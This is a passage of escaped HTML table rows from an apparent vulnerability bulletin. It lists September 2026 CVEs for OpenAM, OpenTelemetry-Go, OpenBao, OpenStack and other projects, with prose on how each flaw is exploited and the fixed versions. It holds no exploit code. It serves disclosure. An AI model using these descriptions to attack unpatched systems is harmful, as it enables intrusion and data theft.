&lt;td&gt;OpenTelemetry-Go is the Go implementation of OpenTelemetry. From version 1.5.0 to 1.44.0, sdk/trace.NewTracerProvider emits a TracerProvider created internal Info-level diagnostic event whose MarshalLog implementations recursively include span processor, exporter, and client configuration. Applications that call otel.SetLogger to enable OpenTelemetry internal Info logging can therefore record OTLP gRPC and HTTP collector endpoints, the OTLP HTTP Insecure flag, and complete Zipkin collector URLs. A person or system with access to those logs can learn internal collector topology and can recover credentials or tokens embedded in Zipkin URL user information or query strings. The default OpenTelemetry logger does not emit the event, and this path does not log OTLP authentication headers, TLS key material, or span payloads. This issue is fixed in version 1.45.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81870&quot; target=&quot;_blank&quot;&gt;CVE-2026-81870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-go&lt;/td&gt;
&lt;td&gt;OpenTelemetry-Go is the Go implementation of OpenTelemetry. Prior to version 0.21.0, the exporters/otlp/otlplog/otlploggrpc package loads OTEL_EXPORTER_OTLP_LOGS_CERTIFICATE, OTEL_EXPORTER_OTLP_CERTIFICATE, and related client certificate environment variables through loadEnvTLS into cfg.tlsCfg, but newGRPCDialOptions does not apply cfg.tlsCfg when creating gRPC transport credentials. The environment-only TLS path instead uses credentials.NewTLS with system roots and no configured client certificate, bypassing intended private CA pinning and mutual TLS unless the application also supplies WithTLSCredentials. A network attacker able to intercept or spoof the collector connection with a system-trusted certificate can read or alter log telemetry. This issue is fixed in version 0.21.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81871&quot; target=&quot;_blank&quot;&gt;CVE-2026-81871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-go&lt;/td&gt;
&lt;td&gt;OpenTelemetry-Go is the Go implementation of OpenTelemetry. Prior to version 0.21.0, the go.opentelemetry.io/otel/sdk/log BatchingProcessor can enter a tight CPU loop when attacker-driven log emission fills its asynchronous export buffer while the exporter is backpressured. NewBatchingProcessor wraps the exporter with newBufferExporter(exporter, 1), and the poll loop calls queue.TryDequeue and bufferExporter.EnqueueExport before immediately signaling pollTrigger whenever the queue remains at or above batchSize. Because a failed nonblocking EnqueueExport leaves the queue length unchanged, the processor repeatedly retries without waiting for its ticker, exhausting CPU and degrading or denying service in the embedding process. This issue is fixed in version 0.21.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81872&quot; target=&quot;_blank&quot;&gt;CVE-2026-81872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openbao--openbao&lt;/td&gt;
&lt;td&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an OpenBao user with access to sys/leases/revoke/:lease_id in one namespace could revoke a lease in another namespace when the foreign lease_id was known, bypassing namespace ACL isolation. The affected lease lookup routing in vault/expiration.go allowed FetchLeaseInfo and loadEntry to resolve cached or stored lease data outside the request namespace, allowing a tenant that intentionally disclosed a lease identifier to have the lease and its underlying credential revoked by another tenant. This issue is fixed in version 2.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55774&quot; target=&quot;_blank&quot;&gt;CVE-2026-55774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openbao--openbao&lt;/td&gt;
&lt;td&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao users granted capabilities on /sys/namespaces/root within a non-root namespace could exploit special handling of the literal root path in namespace canonicalization. The /sys/namespaces/* endpoint family can resolve its containing namespace through a path prefix or X-Vault-Namespace header. ACL checks occurred before root canonicalized to an empty path, causing /sys/namespaces/root to resolve to the system backend&#039;s containing namespace and allowing permitted lookups, deletion, locking, or custom metadata changes against that direct containing namespace. The root namespace and arbitrary unrelated namespaces are not affected, and available operations depend on the capabilities granted on the path and subpaths such as /api-lock. This issue is fixed in version 2.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55775&quot; target=&quot;_blank&quot;&gt;CVE-2026-55775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opencost--opencost&lt;/td&gt;
&lt;td&gt;OpenCost provides cost monitoring for Kubernetes workloads and cloud costs. Prior to 1.121.0, the POST /serviceKey endpoint in pkg/costmodel/router.go allows a network client to invoke AddServiceKey without mandatory authentication and submit an arbitrary key form value that is written to the GCP service-account key.json file returned by GetGCPAuthSecretFilePath in core/pkg/env/core.go. The attacker controls the file contents but not the CONFIG_PATH-derived directory, the key.json filename, or the file mode. Replacing the credential contents can disrupt GCP cost collection or cause OpenCost to use attacker-selected credentials, and the wildcard Access-Control-Allow-Origin response permits browser-assisted requests when the service is reachable from a browser. This issue is fixed in version 1.121.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44300&quot; target=&quot;_blank&quot;&gt;CVE-2026-44300&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenCTI-Platform--opencti&lt;/td&gt;
&lt;td&gt;OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to 7.260706.0, the JSON ingestion mapper&#039;s extractWithRegexp formula function compiled a user-supplied regular expression with the JavaScript RegExp engine in opencti-platform/opencti-graphql/src/parser/json-mapper.ts without validating its complexity. An authenticated user with JSON mapper creation permission could provide a catastrophically backtracking pattern and matching ingestion input, blocking the Node.js event loop and making the GraphQL API unavailable to all users. Scheduled ingestion could repeatedly execute the malicious mapper without additional attacker action, and recovery could require disabling the mapper and restarting the process. The issue affects availability and does not expose or modify data. This issue is fixed in version 7.260706.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76821&quot; target=&quot;_blank&quot;&gt;CVE-2026-76821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenDDS--OpenDDS&lt;/td&gt;
&lt;td&gt;OpenDDS is an open source C++ implementation of the Object Management Group (OMG) Data Distribution Service (DDS). Prior to 3.34.0, a network attacker can crash a reachable OpenDDS participant by sending a malformed RTPS UDP submessage whose crafted length or sequence-number state causes dds/DCPS/transport/rtps_udp/RtpsUdpReceiveStrategy.cpp in RtpsUdpReceiveStrategy::handle_input() to advance ACE_Message_Block::rd_ptr() beyond valid data. The parser can then call dds/DCPS/transport/rtps_udp/RtpsSampleHeader.cpp in RtpsSampleHeader::init(), which dereferences the invalid read pointer without first validating it against wr_ptr() or ensuring that a complete submessage header remains. The resulting SIGSEGV occurs in the receive thread, terminates the DDS process, and destroys the DDS entities hosted by that participant. No authentication, prior protocol state, or victim interaction is required. This issue is fixed in version 3.34.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52836&quot; target=&quot;_blank&quot;&gt;CVE-2026-52836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, IdentityResourceV1.queryCollection() passes the _queryId parameter from /json/{realm}/users to CrestQuery with escapeQueryId disabled, bypassing protection added for CVE-2021-29156. The unescaped value reaches DJLDAPv3Repo.getFilter(), where it is concatenated into an LDAP filter, allowing an authenticated attacker to inject LDAP metacharacters for user enumeration and blind LDAP injection. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-41573&quot; target=&quot;_blank&quot;&gt;CVE-2026-41573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, the /sessionservice addSessionListener operation allows an authenticated user to register an arbitrary notification URL without requiring an administrative or application client token. SessionRequestHandler passes the attacker-controlled destination to the session listener service, causing the OpenAM server to make outbound requests and potentially disclose session-related notification data to an attacker-controlled destination. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44202&quot; target=&quot;_blank&quot;&gt;CVE-2026-44202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, the OAuth 2.0 and OpenID Connect authorization endpoint does not sufficiently encode user-supplied parameters before FormPostResponse.ftl and checkSession.ftl render them into HTML for the form_post response mode. An unauthenticated attacker can induce a user to open a crafted authorization request and execute script in the OpenAM origin. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44203&quot; target=&quot;_blank&quot;&gt;CVE-2026-44203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, certain federation endpoints in a non-default clustered configuration inconsistently encode user-supplied parameters rendered into HTML in the SAML2 cluster cookie-hash redirect path. An unauthenticated attacker can induce a user to follow a crafted request and execute script in the OpenAM origin. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44793&quot; target=&quot;_blank&quot;&gt;CVE-2026-44793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, WebAuthnAuthentication loads a serialized AuthenticatorImpl object graph from the configured userAttribute through loadAuthenticators without an ObjectInputFilter. Exploitation requires the WebAuthn flow to be reachable and an attacker to have previously written controlled data to that attribute through delegated administration, provisioning, directory access, legacy REST self-registration, or unsafe configuration. When those non-default conditions hold, the data is deserialized before assertion verification and can execute a classpath gadget in the application server process. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45051&quot; target=&quot;_blank&quot;&gt;CVE-2026-45051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, the Liberty Web Services SOAP receiver permits unauthenticated remote requests to write persistent entries through SOAPReceiver and DiscoveryService into a user&#039;s Liberty Discovery store and the shared root-realm Discovery branch. The server-side handlers bypass requester LDAP and identity ACLs, and the global path uses an internal administrative token. Deployments that consume Liberty discovery data can subsequently use manipulated service-routing or security-mechanism records. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45052&quot; target=&quot;_blank&quot;&gt;CVE-2026-45052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, the anonymous Push Notification SNS callback handled by SnsMessageResource falls back to a CTS predicate blob after a messageId expires from the in-memory dispatcher, treats top-level blob keys as Java class names for Class.forName, and deserializes attacker-controlled JSON through Jackson. A low-privileged user who starts Push Registration and obtains the messageId, shared secret, and challenge can wait for expiry, replace the persistent blob through anonymous callbacks, and trigger class loading and construction in the OpenAM JVM. The primitive can cause classpath-dependent process execution, file writes, or denial of service, although command execution was not confirmed on the tested stock classpath. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45794&quot; target=&quot;_blank&quot;&gt;CVE-2026-45794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, OAuthTokenStore reads caller-supplied token identifiers from the shared Core Token Store (CTS) without an OAuth-only namespace, and OAuthAdapter accepts a row whose BLOB claims to contain an OAuth token without binding the trusted CTS type or verifying integrity. An attacker who can place controlled JSON in CTS under a known token identifier, such as through Push Registration followed by an anonymous SNS callback in an enabled realm, can mint OAuth bearer tokens and OpenID Connect ID tokens with chosen subject, client, realm, and scope. The flaw does not by itself create an OpenAM SSO session or grant console access. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46498&quot; target=&quot;_blank&quot;&gt;CVE-2026-46498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, MSISDNValidation in the MSISDN authentication module concatenates the request-supplied MSISDN value into an LDAP search filter without escaping, while the default empty trusted-gateway list allows all traffic. In a realm where an MSISDN module is enabled in a reachable authentication chain, an unauthenticated remote attacker can inject LDAP filter metacharacters, select an arbitrary matching user, and obtain a normal authenticated OpenAM session without a password. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46619&quot; target=&quot;_blank&quot;&gt;CVE-2026-46619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, the OAuth2 authentication module updates an existing local account with profile attributes that can include userPassword and inetUserStatus, rewriting the password to the username and reactivating disabled accounts. The missing OAuth.removeRestrictedAccountUpdateAttributes filtering permits these credential and status fields to reach the account update. With account creation enabled, repeated OAuth login causes the default ldapService chain to accept the username as both identifier and password, allowing an unauthenticated attacker to take over the local account without interacting with the identity provider. The rewrite can be denied for usernames shorter than the configured minimum password length. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46623&quot; target=&quot;_blank&quot;&gt;CVE-2026-46623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, GroovySandboxValueFilter permits an authenticated server-side script author to escape the scripting sandbox despite the default class allow and deny lists. A user such as a sub-realm RealmAdmin who can create or edit a script in an executed context can invoke operating-system commands as the OpenAM application server account, crossing the realm-scoped administration boundary and compromising the JVM and every realm it serves. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47424&quot; target=&quot;_blank&quot;&gt;CVE-2026-47424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, the private_key_jwt client authentication path uses ClientJwksResolverCache without reliably binding a cached jwks_uri resolver and verified assertion to the expected clientID in ClientCredentialsReader. An attacker controlling any registered client with published keys, including one obtained through open dynamic registration when enabled, can authenticate as another client whose keys are exposed through jwks_uri and mint tokens in that client&#039;s name across realms in the same OpenAM process. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47426&quot; target=&quot;_blank&quot;&gt;CVE-2026-47426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, AuthorizationCodeGrantTypeHandler requires a code_verifier only when the realm-wide codeVerifierEnforced setting is enabled, even when an authorization code stores a code_challenge. Because that setting is disabled by default, an attacker who intercepts a PKCE-protected authorization code can omit code_verifier and redeem the code, while an explicitly incorrect verifier is rejected. Public clients are directly affected, and confidential-client exploitation additionally requires client authentication material or another redemption context. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48717&quot; target=&quot;_blank&quot;&gt;CVE-2026-48717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, the default configuration initializes the iPlanetDirectoryPro SSO cookie with HttpOnly disabled and without a protective SameSite default, and OAuth and OpenID Connect consent flows reuse that cookie through CsrfProtection as a CSRF token. When combined with same-origin cross-site scripting and a user following an attacker-controlled link, the cookie can be read and reused to steal the SSO session and complete attacker-driven consent grants. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53660&quot; target=&quot;_blank&quot;&gt;CVE-2026-53660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.2, WebAuthnAuthentication.deserialize applies an ObjectInputFilter that allows every serialized object at depth greater than 1 and therefore constrains only an AuthenticatorImpl root object. A pre-authentication attacker can supply a userHandle whose serialized graph has a valid AuthenticatorImpl root and a nested gadget class, causing readObject or readResolve execution before the cast and assertion verification when a usable gadget is on the classpath. This bypasses the incomplete remediation for the earlier WebAuthn deserialization vulnerability. This issue is fixed in version 16.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62263&quot; target=&quot;_blank&quot;&gt;CVE-2026-62263&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenDJ&lt;/td&gt;
&lt;td&gt;OpenDJ is an LDAPv3 compliant directory service. Prior to 5.1.1, the JMX RMI connector in opendj-server-legacy/src/main/java/org/opends/server/protocols/jmx/RmiConnector.java processes attacker-controlled credential objects before authentication without a restrictive jmx.remote.rmi.server.credentials.filter.pattern, and RmiAuthenticator.authenticate in opendj-server-legacy/src/main/java/org/opends/server/protocols/jmx/RmiAuthenticator.java accepts an unconstrained Object array rather than a two-element String[]. When the JMX Connection Handler is enabled and its TCP listener is reachable, an unauthenticated remote attacker can submit a crafted serialized Java object and achieve code execution in the OpenDJ server process. The handler is disabled by default, and successful exploitation depends on the runtime classpath and Java version; remote code execution was demonstrated against OpenDJ 4.4.15 on JDK 11 with Jackson 2.12.6.1. This issue is fixed in 5.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46495&quot; target=&quot;_blank&quot;&gt;CVE-2026-46495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openmeter--openmeter&lt;/td&gt;
&lt;td&gt;SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters&amp;nbsp;API.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8462&quot; target=&quot;_blank&quot;&gt;CVE-2026-8462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openslide--openslide&lt;/td&gt;
&lt;td&gt;OpenSlide is a C library for reading whole slide image files. From 3.4.1 until 4.0.1, OpenSlide&#039;s parse_level0_xml() processing in src/openslide-vendor-ventana.c accepts nonpositive row or column tile counts from a crafted Ventana BIF file. The invalid counts produce attacker-controlled relative memory offsets and allow arbitrary values to be written at those offsets, affecting all supported platforms and configurations and resulting in a crash or potential arbitrary code execution. This issue is fixed in version 4.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48977&quot; target=&quot;_blank&quot;&gt;CVE-2026-48977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openslide--openslide&lt;/td&gt;
&lt;td&gt;OpenSlide is a C library for reading whole slide image files. Prior to 4.0.1, a behavior change in libtiff 4.7.1 causes the indirect TIFF tile path in src/openslide-decode-tiff.c and _openslide_tiff_read_tile() to request a full-height destination for a partial bottom tile row, allowing uninitialized heap memory to enter pixel data returned by openslide_read_region(). A crafted but valid slide can trigger the issue in TIFF-based formats other than Hamamatsu NDPI when a network service renders attacker-provided slides. Successful extraction depends on pixel transparency handling and recompression, OpenSlide with libtiff 4.7.0 or earlier is not affected, and official binary builds 4.0.0.10 and 4.0.0.11 are affected. This issue is fixed in OpenSlide 4.0.1 and official binary build 4.0.0.12.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54604&quot; target=&quot;_blank&quot;&gt;CVE-2026-54604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack--Blazar&lt;/td&gt;
&lt;td&gt;In OpenStack Blazar before 17.0.1, the V2 lease listing operation (GET /v2/leases) returns leases for every project without enforcing project scoping or an administrator-only policy. Any authenticated user with access to the Blazar REST API can enumerate leases belonging to other tenants, exposing lease IDs, reservation IDs, resource IDs, and reservation metadata. The exposed lease IDs also enable the object-level authorization bypass tracked in the companion request, allowing an attacker to then modify or delete the enumerated leases.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93852&quot; target=&quot;_blank&quot;&gt;CVE-2026-93852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack--Blazar&lt;/td&gt;
&lt;td&gt;In OpenStack Blazar before 17.0.1, the V2 lease API does not enforce object-level authorization on its update and delete operations (PUT /v2/leases/{lease_id} and DELETE /v2/leases/{lease_id}). The policy authorize() wrapper attempts to load the target lease to build the authorization target from its owner, but it looks up the lease under the keyword &quot;lease_id&quot; whereas the controller methods name the parameter &quot;id&quot; (and the wsme_pecan.wsexpose wrapper delivers it positionally). The lookup returns None, and thus authorization falls back to the requesting user&#039;s own project_id/user_id instead of the target lease owner. Any authenticated user who knows a lease ID can therefore modify or delete leases belonging to other users and projects, bypassing the intended ownership check.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93854&quot; target=&quot;_blank&quot;&gt;CVE-2026-93854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack--Glance&lt;/td&gt;
&lt;td&gt;In OpenStack Glance before 32.0.1, the location API does not validate destination hosts when adding an HTTP location to an image. Unlike the web-download import path, the location API only checks the URL scheme and does not apply the import_filtering_opts host restrictions. An authenticated user can add a location pointing to internal endpoints such as the cloud metadata service (169.254.169.254), and retrieve the response by downloading the image data. This affects both the new POST /v2/images/{id}/locations API and the old PATCH API when show_multiple_locations is enabled. Deployments with the HTTP store backend enabled are affected.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71198&quot; target=&quot;_blank&quot;&gt;CVE-2026-71198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Optimole--Optimole&lt;/td&gt;
&lt;td&gt;The Optimole WordPress plugin before 4.2.12 does not properly escape a user supplied value before using it to build an image tag attribute, allowing unauthenticated users to inject arbitrary attributes into pages served to every visitor, which leads to Stored Cross-Site Scripting.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84829&quot; target=&quot;_blank&quot;&gt;CVE-2026-84829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OrdaSoft.com--OrdaSoft Joomla Gallery free extension for Joomla&lt;/td&gt;
